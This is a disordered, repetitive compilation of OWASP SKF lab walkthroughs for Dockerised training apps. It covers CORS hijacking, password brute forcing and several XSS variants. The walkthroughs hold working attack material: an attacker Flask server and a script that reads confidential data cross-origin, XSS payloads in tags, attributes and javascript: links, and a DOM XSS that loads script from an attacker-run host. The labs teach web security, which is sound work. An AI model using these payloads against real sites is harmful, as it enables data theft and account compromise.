username : admin password: admin

Now that we have logged in as the target user let's look at some intercepted traffic from the application.

The image above shows highlighted in red that indeed the application has CORS enabled and has set a wildcard for the "Access-Control-Allow-Origin" response header.

Since "Access-Control-Allow-Origin" is set to wildcard, we can use any origin to consume thie page/endpoint.

The rest of the attack will look kind of similar to a CSRF attack. However, instead of doing a state changing operation on behalf of the targeted user, we will now do a XHR GET request from our evil domain in order to steal sensitive information.

More information about CSRF:

Exploitation

In order to to exploit this vulnerability we need to set up our evil webserver to do the malicious XHR GET request from. We could achieve this by creating the following python flask application.

Step1

Lets copy our fancy frontend files for our evil webserver.

We copied static files to our evil webserver directory (/tmp/evil) Now, lets create flask app using code snippet below:

Save the snippet above to > /tmp/evil/evil.py and run the commands below to install some dependencies.

Of course you can also run your app on whatever service you want it does not have to be python flask.

Step2

Now that the service is running we want to serve the malicious piece of javascript that is responsible for performing the malicious XHR GET request.

Save the snippet above to > /tmp/templates/evil.html. The final evil.html file to be used by flask application should look like below:

The final folder structure for our evil webserver should look like this:

Step3

Run the command below to start our evil application.

Let's intercept the request from the evil application to the target application.

In this request we find the "Origin" header appended to the request from source "" as to be expected.

This is due to the fact that the application framework has no value to do the dynamically allocation of the origin header from. Now the "Access-Control-Allow-Origin" response header falls back to it's default which is the "*" (wildcard).

Let's open our evil app

We now find that we have successfully have performed a XHR GET request on the authenticated victim users behalf and stolen the sensitive information from the target application!

Additional sources

Please read here for more information about this attack:

Python - CORS exploitation

Running the app on Docker

Now that the app is running let's go hacking!

Reconnaissance

Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it is up to the client to determine and enforce the restriction of whether the client has access to the response data based on this header.

From a penetration testing perspective you should look for insecure configurations as for example using a '*' wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed.

Nowadays most modern frameworks do dynamical allocation of the origin header. This means that the value that is send from the origin header is dynamically allocated to the Access-Control-Allow-Origin response from the server. To verify the behaviour we need to set up our intercepting proxy, make requests to an API server and tamper with the "origin" header.

Now that we have our proxies set-up let's first start and authenticate against the target application as admin/admin.

username : admin password: admin

Now that we have logged in as the target user let's look at some intercepted traffic from the application.

The image above shows highlighted in red that indeed the application has CORS enabled and has set a wildcard for the "Access-Control-Allow-Origin" response header.

Now if we add a "Origin" request header we find that the value from the added Origin header is dynamically allocated to the "Access-Control-Allow-Origin" header.

The rest of the attack wil look kind of similar to a CSRF attack. However, instead of doing a state changing operation on behalf of the targeted user, we will now do a XHR GET request from our evil domain in order to steal sensitive information.

More information about CSRF:

Exploitation

In order to to exploit this vulnerability we need to set up our evil webserver to do the malicious XHR GET request from. We could achieve this by creating the following python flask application.

Save the snippet above to > app.py and run the commands below to install some dependencies.

Of course you can also run your app on whatever service you want it does not have to be python flask.

Step2

Now that the service is running we want to serve the malicious piece of javascript that is responsible for performing the malicious XHR GET request.

Save the snippet above to > templates/evil.html and run the command below to start our evil application.

Let's intercept the request from the evil application to the target application.

In this request we find the "Origin" header appended to the request from source "" as to be expected. It is now good to note when we remove this header from the request the attack is no longer working.

This is due to the fact that the application framework has no value to do the dynamically allocation of the origin header from. Now the "Access-Control-Allow-Origin" response header falls back to it's default which is the "*" (wildcard).

Now, whenever the browser discovers the following header combination:

Let's open our evil app

We now find that we have successfully have performed a XHR GET request on the authenticated victim users behalf and stolen the sensitive information from the target application!

Additional sources

Please read here for more information about this attack:

Python - Credentials Guessing

Running the app on Docker

Now that the app is running let's go hacking!

Reconnaissance

It is very common to use very guessable and weak usernames and passwords because they are easier to use and remember. However, this ease for the users becomes a great advantage for potential attackers who are trying to crack the user's credentials. It is pretty easy for them to guess or brute force many different credentials until they get to the right ones.

When we start the application we can see that there is a login form.

If we try with some wrong and random credentials such as: [ admin:admin ], we don`t get access to the inside of the website.

Exploitation

Provided that the username will be 12345, we will use Burp in order to brute force the password and discover it. We use the "Intruder" functionality and we will load a prefixed dictionary with multiple usernames that will be tried against the website one by one.

If we check the lenght of the different HTTP responses for each of the password that Burp tried, we find that there's one with a different length than the rest of the possibilities:

We found something promising!

Now, if we try this password as the credential in the login form we get access to the inside of the website:

And goal achieved!

Additional sources

https://www.owasp.org/index.php/Testing_for_User_Enumeration_and_Guessable_User_Account_(OWASP-AT-002)

Cross Site Scripting - Attribute (XSS-Attribute)

Credentials Guessing - 2

Credentials Guessing

Cross Site Scripting - href (XSS-href)

Cross Site Scripting (XSS)

$ sudo docker pull blabla1337/owasp-skf-lab:js-csp
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:js-csp
$ sudo docker pull blabla1337/owasp-skf-lab:java-cors
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:java-cors
$mkdir /tmp/evil/
$cp -r /config/java-labs/cors/src/main/resources/static/ /tmp/evil/
$mkdir templates
from flask import Flask, request, render_template
import requests


app = Flask(__name__, static_url_path='/static', static_folder='static')

app.config['DEBUG'] = True

@app.route("/")
def start():
    return render_template("evil.html")

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=1337)
$ pip3 install flask
$ pip3 install requests
<script>
  var req = new XMLHttpRequest();
  req.onload = reqListener;
  req.open('get','http://0.0.0.0:7000/confidential', true);
  req.withCredentials = false;
  req.send();

  function reqListener(){
    var foo = document.getElementById("stolenInfo").innerHTML= req.responseText;
    Console.log(foo)
  }
</script>

<p id="stolenInfo"></p>
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>SKF Labs</title>
  <link href="/static/css/Normalize.css" rel="stylesheet">
  <link href="/static/css/datepicker3.css" rel="stylesheet">
  <link href="/static/css/styles.css" rel="stylesheet">
  <!--Icons-->
  <script src="/static/js/lumino.glyphs.js"></script>
  <script src="/static/js/hints.js"></script>
  <link href="https://fonts.googleapis.com/css2?family=Hind:wght@700&display=swap" rel="stylesheet">
</head>
<script>
  var req = new XMLHttpRequest();
  req.onload = reqListener;
  req.open('get','http://0.0.0.0:7000/confidential', true);
  req.withCredentials = false;
  req.send();
  
  function reqListener(){
    var foo = document.getElementById("stolenInfo").innerHTML= req.responseText;
    Console.log(foo)
  }
  </script>
 
  <p id="stolenInfo"></p>
<body>
  <header class="header">
    <div class="wrap wide">
      <div class="inner flx flx-ac flx-jsb">
        <div class="left flx flx-ac">
          <div class="logo">
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 75.3 86.9"
              style="enable-background:new 0 0 75.3 86.9" xml:space="preserve">
              <path d="" />
            </svg>
          </div>
          <div class="name pl1">
            Security Knowledge Framework
          </div>
        </div>
        <div class="right flx flx-ac">
          <div class="chat">
            <a href="https://gitter.im/Security-Knowledge-Framework/Lobby" rel="nofollow">
              <img src="/static/img/badge.svg" alt="Join the chat at
                    https://gitter.im/Security-Knowledge-Framework/Lobby" data-canonical-src="/static/img/badge.svg">
            </a>
          </div>
          <div class="toggle">
            <input type="checkbox" class="checkbox" id="checkbox">
            <label for="checkbox" class="label">
              <i class="fas fa-moon"></i>
              <i class='fas fa-sun'></i>
              <div class="ball"></div>
            </label>
          </div>
        </div>
      </div>
    </div>
  </header>
  <main class="container">
    <section class="bgg">
      <div class="wrap small">
        <div class="inner pt6 pb6">
          <!-- Start Original Code -->
          <div class="col-sm-9 col-sm-offset-3 col-lg-10 col-lg-offset-2 main">
            <div class="row">
            </div>
          <!--/.row-->
            <div class="row">
              <div class="col-lg-12">
                <h1 class="page-header">Evil website!</h1>
              </div>
            </div>
            <!--/.row-->
            <div class="row">
              <div class="col-lg-12">
                <div class="panel panel-default">
                  <div class="panel-heading">CORS Hijacking!</div>
                  <div class="panel-body">
                    <div class="col-md-6">
                      <p>Welcome to my evil webpage, you have been hacked, let me show you the secret information!</p>
                    </div>
                    </form>

                  </div>
                </div>
              </div><!-- /.col-->
            </div><!-- /.row -->
            <p style="font-size:20px;">
            </p>
          </div>
          <!--/.main-->
          <p id="cors"></p>
          <!-- End Original Code -->
        </div>
      </div>
    </section>
    <footer class="footer">
      <div class="wrap wide">
        <div class="inner pt3 pb3 text-center">
          &copy; SKF - <a rel="nofollow" href="https://www.securityknowledgeframework.org/"
            target="_blank">Visit
            website</a>
        </div>
      </div>
    </footer>
    <div class="seed">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 75.3 86.9" style="enable-background:new 0 0 75.3 86.9"
        xml:space="preserve">
        <path d="\z" />
      </svg>
    </div>
  </main>
  <script src="/static/js/jquery.min.js"></script>
  <script src="/static/js/bootstrap.min.js"></script>
  <script>
    const checkbox = document.getElementById('checkbox');
    checkbox.addEventListener('change', () => {
      document.body.classList.toggle('dark');
    });
  </script>
</body>
</html>
$ python3 evil.py
https://www.owasp.org/index.php/Testing_for_CSRF_(OTG-SESS-005)
http://localhost:1337
https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties
$ sudo docker pull blabla1337/owasp-skf-lab:cors
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:cors
from flask import Flask, request, render_template
import requests


app = Flask(__name__, static_url_path='/static', static_folder='static')

app.config['DEBUG'] = True

@app.route("/")
def start():
    return render_template("evil.html")

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=1337)
$ pip install flask
$ pip install requests
$ python app.py
<script>
  var req = new XMLHttpRequest();
  req.onload = reqListener;
  req.open('get','http://0.0.0.0:5000/confidential', true);
  req.withCredentials = true;
  req.send();

  function reqListener(){
    var foo = document.getElementById("stolenInfo").innerHTML= req.responseText;
    Console.log(foo)
  }
</script>

<p id="stolenInfo"></p>
$ python app.py
https://www.owasp.org/index.php/Testing_for_CSRF_(OTG-SESS-005)
http://0.0.0.0:1337
https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties
$ sudo docker pull blabla1337/owasp-skf-lab:credentials-guessing-1
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:credentials-guessing-1

NodeJS - Credentials Guessing

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:js-credentials-guessing-1
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:js-credentials-guessing-1

Now that the app is running let's go hacking!

Reconnaissance

It is very common to use very guessable and weak usernames and passwords because they are easier to use and remember. However, this ease for the users becomes a great advantage for potential attackers who are trying to crack the user's credentials. It is pretty easy for them to guess or brute force many different credentials until they get to the right ones.

When we start the application we can see that there is a login form.

If we try with some wrong and random credentials such as: [ admin:admin ], we don`t get access to the inside of the website.

Exploitation

Provided that the username will be 12345, we will use Burp in order to brute force the password and discover it. We use the "Intruder" functionality and we will load a prefixed dictionary with multiple usernames that will be tried against the website one by one.

If we check the lenght of the different HTTP responses for each of the password that Burp tried, we find that there's one with a different length than the rest of the possibilities:

We found something promising!

Now, if we try this password as the credential in the login form we get access to the inside of the website:

And goal achieved!

Additional sources

Java - Credentials Guessing

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:java-credentials-guessing1
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:java-credentials-guessing1

Now that the app is running let's go hacking!

Reconnaissance

It is very common to use very guessable and weak usernames and passwords because they are easier to use and remember. However, this ease for the users becomes a great advantage for potential attackers who are trying to crack the user's credentials. It is pretty easy for them to guess or brute force many different credentials until they get to the right ones.

When we start the application we can see that there is a login form.

If we try with some wrong and random credentials such as: [ admin:admin ], we don`t get access to the inside of the website.

Exploitation

Provided that the username will be 12345, we will use Burp in order to brute force the password and discover it. We use the "Intruder" functionality and we will load a prefixed dictionary with multiple usernames that will be tried against the website one by one.

If we check the lenght of the different HTTP responses for each of the password that Burp tried, we find that there's one with a different length than the rest of the possibilities:

We found something promising!

Now, if we try this password as the credential in the login form we get access to the inside of the website:

And goal achieved!

Additional sources

https://www.owasp.org/index.php/Testing_for_User_Enumeration_and_Guessable_User_Account_(OWASP-AT-002)

NodeJS - Credentials Guessing - 2

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:js-credentials-guessing-2
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:js-credentials-guessing-2

Now that the app is running let's go hacking!

Reconnaissance

It is very common to use very guessable and weak usernames and passwords because they are easier to use and remember. However, this ease for the users becomes a great advantage for potential attackers who are trying to crack the user's credentials. It is pretty easy for them to guess or brute force many different credentials until they get to the right ones.

When we start the application we can see that there is a login form.

If we try with some wrong and random credentials such as: [ admin:admin ], we don`t get access to the inside of the website and an error message is displayed:

Exploitation

Provided that once the username is incorrect it will appear an error message and supossing that once it is correct, this message will not appear, we will use Burp in order to brute force different usernames and discover the right one by analysing the length of the HTTP responses for each trial. We use the "Intruder" functionality and we will load a prefixed dictionary with multiple usernames that will be tried against the website one by one.

If we check the lenght of the different HTTP responses for each of the password that Burp tried, we find that there's one with a different length than the rest of the possibilities:

We found something promising! This must be the desired username.

We can check now sending the HTTP request using this word as the username:

No error messages are now displayed (which means that this username must be correct):

Now, if we follow the same methodology for the password or we simply try the username as the password in the login form, we will get access to the inside of the website:

And goal achieved!

Additional sources

Python - Content-Security-Policy (CSP)

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:csp
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:csp

Reconnaissance

The main use of the content security policy header is to, detect, report, and reject XSS attacks. The core issue in relation to XSS attacks is the browser's inability to distinguish between a script that's intended to be part of your application, and a script that's been maliciously injected by a third-party. With the use of CSP(Content Security policy), we can tell the browser which script is safe to execute and which scripts are most likely been injected by an attacker.

Exploitation

In the first scenario we explore the execution of an XSS attack without CSP in place.

With CSP in place, when we try to perform a XSS attack we notice that CSP header block the scripts since the inclusion of inline scripts is not permitted.

Additional sources

https://www.owasp.org/index.php/Content_Security_Policy

Python - XSS

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:xss
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:xss

Now that the app is running let's go hacking!

Reconnaissance

Step 1

The application shows an input field box were we can try our injections. Lets first inject a normal test string and see how our input is used in the application.

As you can see below the request in our intercepting proxy that was made by the application.

In the source of the application we can see that this application will take the user input and use a template variable to display it in the application.

@app.route("/home", methods=['POST'])
def home():
    xss = request.form['string']
    return render_template("index.html",xss = xss)
<center> <p style="font-size:2em;">

<div data-gb-custom-block data-tag="autoescape" data-0='false'>{{xss}}</div>

</p></center>

The variable is then used in the index.html to display the content suplied by the user. But as you can see the autoescape method is set to false. This indicates that is should be possible to perform a Cross Site Scripting (XSS) injection.

Exploitation

Step 1

Now we have seen where the user input is being reflected in the application we will have to look what dangerous HTML characters are not properly escaped so we can build our XSS payload. So for our first check we use the following string as an input:

foobar"></

As you can see the application did not encode or blacklisted any of the dangerous HTML characters. Now lets try the XSS payload to see if this also is reflected back withouth any escaping or blacklist filtering.

foobar"><script>alert(123)</script>

Again the application is not encoding or blacklisted any of the dangerous HTML characters. This payload seems to work in the intercepting proxy. Now lets try it in our browser.

In Firefox we can see the XSS alert pop-up and we have successfully performed the XSS attack.

Additional sources

Please refer to the OWASP testing guide for a full complete description about path traversal with all the edge cases over different platforms!

Python - Credentials Guessing - 2

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:credentials-guessing-2
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:credentials-guessing-2

Now that the app is running let's go hacking!

Reconnaissance

It is very common to use very guessable and weak usernames and passwords because they are easier to use and remember. However, this ease for the users becomes a great advantage for potential attackers who are trying to crack the user's credentials. It is pretty easy for them to guess or brute force many different credentials until they get to the right ones.

When we start the application we can see that there is a login form.

If we try with some wrong and random credentials such as: [ admin:admin ], we don`t get access to the inside of the website and an error message is displayed:

Exploitation

Provided that once the username is incorrect it will appear an error message and supossing that once it is correct, this message will not appear, we will use Burp in order to brute force different usernames and discover the right one by analysing the length of the HTTP responses for each trial. We use the "Intruder" functionality and we will load a prefixed dictionary with multiple usernames that will be tried against the website one by one.

If we check the lenght of the different HTTP responses for each of the password that Burp tried, we find that there's one with a different length than the rest of the possibilities:

We found something promising! This must be the desired username.

We can check now sending the HTTP request using this word as the username:

No error messages are now displayed (which means that this username must be correct):

Now, if we follow the same methodology for the password or we simply try the username as the password in the login form, we will get access to the inside of the website:

And goal achieved!

Additional sources

https://www.owasp.org/index.php/Testing_for_User_Enumeration_and_Guessable_User_Account_(OWASP-AT-002)

Python - XSS-Attribute

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:xss-attribute
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:xss-attribute

Now that the app is running let's go hacking!

Reconnaissance

Step 1

The application shows an input fields that allows the user to change the color of the text shown in the page.

If we want to make it red, we can just write red in the input box and click the Submit Button.

<center> <p style="font-size:2em;"> 

<div data-gb-custom-block data-tag="autoescape" data-0='false'><span style='color:{{xss}};' > Let me be a new color!</span></div>

</p></center>

and it is not escaped so it should be possible to perform a Cross Site Scripting (XSS) injection.

Exploitation

Step 1

Now we have seen where the user input is being reflected in the style, we will have to look what dangerous HTML characters are not properly escaped, when the developer used the right encoding the metacharacters like " >< will be properly encoded. So we need to form a payload that does not utilize these characters in order to make the attack successful like the following payload:

note: we disabled auto-escape for the challenge but in order to do it well you need to avoid using the " > < to leverage the attack

red ' onmouseover='alert("XSS-Attribute")'

Now, hovering over the paragraph will trigger our javascript event handler!

Additional sources

Please refer to the OWASP testing guide for a full complete description about path traversal with all the edge cases over different platforms!

Java - XSS

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:java-xss
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:java-xss

Now that the app is running let's go hacking!

Reconnaissance

Step 1

The application shows an input field box were we can try our injections. Lets first inject a normal test string and see how our input is used in the application.

As you can see below the request in our intercepting proxy that was made by the application.

In the source of the application we can see that this application will take the user input and use a template variable to display it in the application.

@PostMapping("/home")
	public String home(@RequestParam(name="string", required=false, defaultValue="World") String name, Model model) {
		model.addAttribute("xss", name);
		return "index";
	}
<p style="font-size:2em;" th:utext="${xss} ?: '' " />

The variable is then used in the index.html to display the content suplied by the user. But as you can see the tag being used is th:utext which means is not being escaped by the thymeleaf template engine . This indicates that is should be possible to perform a Cross Site Scripting (XSS) injection.

Exploitation

Step 1

Now we have seen where the user input is being reflected in the application we will have to look what dangerous HTML characters are not properly escaped so we can build our XSS payload. So for our first check we use the following string as an input:

foobar"></

As you can see the application did not encode or blacklisted any of the dangerous HTML characters. Now lets try the XSS payload to see if this also is reflected back withouth any escaping or blacklist filtering.

foobar"><script>alert(123)</script>

Again the application is not encoding or blacklisted any of the dangerous HTML characters. This payload seems to work in the intercepting proxy. Now lets try it in our browser.

In Firefox we can see the XSS alert pop-up and we have successfully performed the XSS attack.

Additional sources

Please refer to the OWASP testing guide for a full complete description about path traversal with all the edge cases over different platforms!

Java - Credentials Guessing - 2

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:java-credentials-guessing2
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:java-credentials-guessing2

Now that the app is running let's go hacking!

Reconnaissance

It is very common to use very guessable and weak usernames and passwords because they are easier to use and remember. However, this ease for the users becomes a great advantage for potential attackers who are trying to crack the user's credentials. It is pretty easy for them to guess or brute force many different credentials until they get to the right ones.

When we start the application we can see that there is a login form.

If we try with some wrong and random credentials such as: [ admin:admin ], we don`t get access to the inside of the website and an error message is displayed:

Exploitation

Provided that once the username is incorrect it will appear an error message and supossing that once it is correct, this message will not appear, we will use Burp in order to brute force different usernames and discover the right one by analysing the length of the HTTP responses for each trial. We use the "Intruder" functionality and we will load a prefixed dictionary with multiple usernames that will be tried against the website one by one.

If we check the lenght of the different HTTP responses for each of the password that Burp tried, we find that there's one with a different length than the rest of the possibilities:

We found something promising! This must be the desired username.

We can check now sending the HTTP request using this word as the username:

No error messages are now displayed (which means that this username must be correct):

Now, if we follow the same methodology for the password or we simply try the username as the password in the login form, we will get access to the inside of the website:

And goal achieved!

Additional sources

https://www.owasp.org/index.php/Testing_for_User_Enumeration_and_Guessable_User_Account_(OWASP-AT-002)

NodeJS - XSS

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:js-xss
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:js-xss

Now that the app is running let's go hacking!

Reconnaissance

Step 1

The application shows an input field box were we can try our injections. Lets first inject a normal test string and see how our input is used in the application.

As you can see below the request in our intercepting proxy that was made by the application.

In the source of the application we can see that this application will take the user input and use a template variable to display it in the application.

app.post("/home", (req, res) => {
  let userInput = req.body.string;
  res.render("index.ejs", { xss: userInput });
});
<center> <p style="font-size:2em;"> <%- xss %> </p> </center>

The variable is then used in the index.ejs to display the content suplied by the user. But as you can see the tag being used in ejs is <%- which means is not being escaped by the template engine . This indicates that is should be possible to perform a Cross Site Scripting (XSS) injection.

Exploitation

Step 1

Now we have seen where the user input is being reflected in the application we will have to look what dangerous HTML characters are not properly escaped so we can build our XSS payload. So for our first check we use the following string as an input:

foobar"></

As you can see the application did not encode or blacklisted any of the dangerous HTML characters. Now lets try the XSS payload to see if this also is reflected back withouth any escaping or blacklist filtering.

foobar<script>alert(123)</script>

Again the application is not encoding or blacklisted any of the dangerous HTML characters. This payload seems to work in the intercepting proxy. Now lets try it in our browser.

In Firefox we can see the XSS alert pop-up and we have successfully performed the XSS attack.

Additional sources

Please refer to the OWASP testing guide for a full complete description about cross site scripting!

Python - XSS-href

Running the app on Docker

Now that the app is running let's go hacking!

Reconnaissance

Step 1

The application invites you to fill a website in the input box, that will be used from the "visit my website!" link to redirect to it.

If we insert https://google.com, and click on "visit my website!" we will be redirected to the Google website. As we can see in the screenshot below our input is reflected in the page inside an href attribute.

Step 2

The next step is to see if we could include JavaScript that can be executed in the href attribute.

href="javascript:JS PAYLOAD"

Autoescape is disabled by default so every characters will be reflected in the following snippet in the template.

Exploitation

Step 1

Now we have seen where the user input is being reflected in the href, we can craft the payload to trigger an alert box and exploit our XSS.

and clicking the button, we achieve what we were looking for.

Additional sources

Please refer to the OWASP testing guide for a full complete description about path traversal with all the edge cases over different platforms!

NodeJS - XSS-href

Running the app on Docker

Now that the app is running let's go hacking!

Reconnaissance

Step 1

The application invites you to fill a website in the input box, that will be used from the "visit my website!" link to redirect to it.

If we insert https://google.com, and click on "visit my website!" we will be redirected to the Google website. As we can see in the screenshot below our input is reflected in the page inside an href attribute.

Step 2

The next step is to see if we could include JavaScript that can be executed in the href attribute.

href="javascript:JS PAYLOAD"

Autoescape is disabled by default so every characters will be reflected in the following snippet in the template.

Exploitation

Step 1

Now we have seen where the user input is being reflected in the href, we can craft the payload to trigger an alert box and exploit our XSS.

and clicking the button, we achieve what we were looking for.

Additional sources

Please refer to the OWASP testing guide for a full complete description about path traversal with all the edge cases over different platforms!

NodeJS - XSS-Attribute

Running the app on Docker

Now that the app is running let's go hacking!

Reconnaissance

Step 1

The application shows an input fields that allows the user to change the color of the text shown in the page.

If we want to make it red, we can just write red in the input box and click the Submit Button.

It's not escaped, so it should be possible to perform a Cross Site Scripting (XSS) injection.

Exploitation

Step 1

Now we have seen where the user input is being reflected in the style, we will have to look what dangerous HTML characters are not properly escaped, when the developer used the right encoding the metacharacters like " >< will be properly encoded. So we need to form a payload that does not utilize these characters in order to make the attack successful like the following payload:

note: we disabled auto-escape for the challenge but in order to do it well you need to avoid using the " > < to leverage the attack

Now, hovering over the paragraph will trigger our javascript event handler!

Additional sources

Please refer to the OWASP testing guide for a full complete description about cross site scripting!

Cross Site Scripting - Stored (XSS-Stored)

Cross Site Scripting - DOM (XSS-DOM)

Cross Site Scripting - DOM-2 (XSS-DOM-2)

CSRF

CSRF - Weak

CSRF - Samesite

$ sudo docker pull blabla1337/owasp-skf-lab:xss-url
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:xss-url
<center> <p style="font-size:2em;"> 

<div data-gb-custom-block data-tag="autoescape" data-0='false'> <a style="font-size:20px;" href="{{xss}}">visit my website!</a> </div>

</p></center>
javascript:alert('XSS')
$ sudo docker pull blabla1337/owasp-skf-lab:js-xss-url
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:js-xss-url
<center> <p style="font-size:2em;"> 

<div data-gb-custom-block data-tag="autoescape" data-0='false'> <a style="font-size:20px;" href="{{xss}}">visit my website!</a> </div>

</p></center>
javascript:alert('XSS')
$ sudo docker pull blabla1337/owasp-skf-lab:js-xss-attribute
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:js-xss-attribute
<center> <p style="font-size:2em;"><span style='color: <%- xss %>' > Let me be a new color!</span></p></center>
red ' onmouseover='alert(1337)'

Python - XSS-DOM

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:xss-dom
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:xss-dom

Now that the app is running let's go hacking!

Reconnaissance

Step 1

The application shows an input field box were we can try our injections. Lets first inject a normal test string and see how our input is used in the application.

As you can see below the input is reflected in the DOM.

Inspecting the source code of the application we can see that this application will take the user input and use it in the application where id="dom".

function submit() {
  value = $("#input").val();
  console.log(value);
  $("#dom").html(value);
}

Exploitation

Step 1

Now we have seen where the user input is being reflected in the application we will have to look what dangerous HTML characters are not properly escaped so we can build our XSS payload. So for our first check we use the following string as an input:

foobar"></

As you can see the application did not encode or blacklisted any of the dangerous HTML characters. Now lets try the XSS payload to see if this also is reflected back withouth any escaping or blacklist filtering.

foobar<script>alert("XSS-DOM")</script>

In Firefox we can see the XSS alert pop-up and we have successfully performed the XSS attack.

Additional sources

Please refer to the OWASP testing guide for a full complete description about cross site scripting!

Python - XSS-DOM-2

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:xss-dom-2
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:xss-dom-2

Now that the app is running let's go hacking!

Reconnaissance

Step 1

The application shows no input field or anything else we can interact with. Let's inspect the source code.

Inspecting the source code of the application.

function loadWelcomeMessage() {
  setTimeout(function () {
    endpoint = location.hash.slice(5);
    var script = document.createElement("script");
    if (endpoint) {
      script.src = endpoint + "/js/welcome.js";
    } else {
      script.src = "/js/welcome.js";
    }
    document.head.appendChild(script);
  }, 2000);
}

We notice the application imports javascript files into the application using this function.

endpoint = location.hash.slice(5);

Declaring endpoint variable which takes the url, whatever is after the hash(#) and using slice to remove the first 4 characters after that. If the endpoint exists it will load the js file from there.

Exploitation

We can start building our malicious server and server the application with our malicious js file.

from flask import Flask

app = Flask(__name__, static_url_path='/static', static_folder='static')
app.config['DEBUG'] = True

@app.route("/<path:path>")
def static_file(path):
    return app.send_static_file(path)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=1337)

Save the snippet above to > evil_server.py and run the commands below to install some dependencies. Of course you can also run your app on whatever service you want it does not have to be python flask.

$ pip3 install flask

Now we need to create our malicous js file, save the following snippet code into /static/js/welcome.js

document.getElementsByClassName("panel-body")[0].innerText = "pwned!";

We are ready to start our server:

$ python3 evil_server.py

Now we can serve our malicious js file to the application

http://0.0.0.0:5000/#xxxxhttp://0.0.0.0:1337

Additional sources

Please refer to the OWASP testing guide for a full complete description about cross site scripting!

Java - XSS-href

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:java-xss-url
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:java-xss-url

Now that the app is running let's go hacking!

Reconnaissance

Step 1

The application invites you to fill a website in the input box, that will be used from the "visit my website!" link to redirect to it.

If we insert https://google.com, and click on "visit my website!" we will be redirected to the Google website. As we can see in the screenshot below our input is reflected in the page inside an href attribute.

Step 2

The next step is to see if we could include JavaScript that can be executed in the href attribute.

href="javascript:JS PAYLOAD"

Autoescape is disabled by default so every characters will be reflected in the following snippet in the template.

  <center> <p style="font-size:2em;"> <a style="font-size:20px;" th:href="${xss}">visit my website!</a> </p></center>

Exploitation

Step 1

Now we have seen where the user input is being reflected in the href, we can craft the payload to trigger an alert box and exploit our XSS.

javascript:alert('XSS')

and clicking the button, we achieve what we were looking for.

Additional sources

Please refer to the OWASP testing guide for a full complete description about cross site scripting!

Java - XSS-DOM

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:java-xss-dom
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:java-xss-dom

Now that the app is running let's go hacking!

Reconnaissance

Step 1

The application shows an input field box were we can try our injections. Lets first inject a normal test string and see how our input is used in the application.

As you can see below the input is reflected in the DOM.

Inspecting the source code of the application we can see that this application will take the user input and use it in the application where id="dom".

function submit() {
  value = $("#input").val();
  console.log(value);
  $("#dom").html(value);
}

Exploitation

Step 1

Now we have seen where the user input is being reflected in the application we will have to look what dangerous HTML characters are not properly escaped so we can build our XSS payload. So for our first check we use the following string as an input:

foobar"></

As you can see the application did not encode or blacklisted any of the dangerous HTML characters. Now lets try the XSS payload to see if this also is reflected back withouth any escaping or blacklist filtering.

foobar<script>alert("XSS-DOM")</script>

In Firefox we can see the XSS alert pop-up and we have successfully performed the XSS attack.

Additional sources

Please refer to the OWASP testing guide for a full complete description about cross site scripting!

Java - XSS-DOM-2

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:java-xss-dom2
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:java-xss-dom2

Now that the app is running let's go hacking!

Reconnaissance

Step 1

The application shows no input field or anything else we can interact with. Let's inspect the source code.

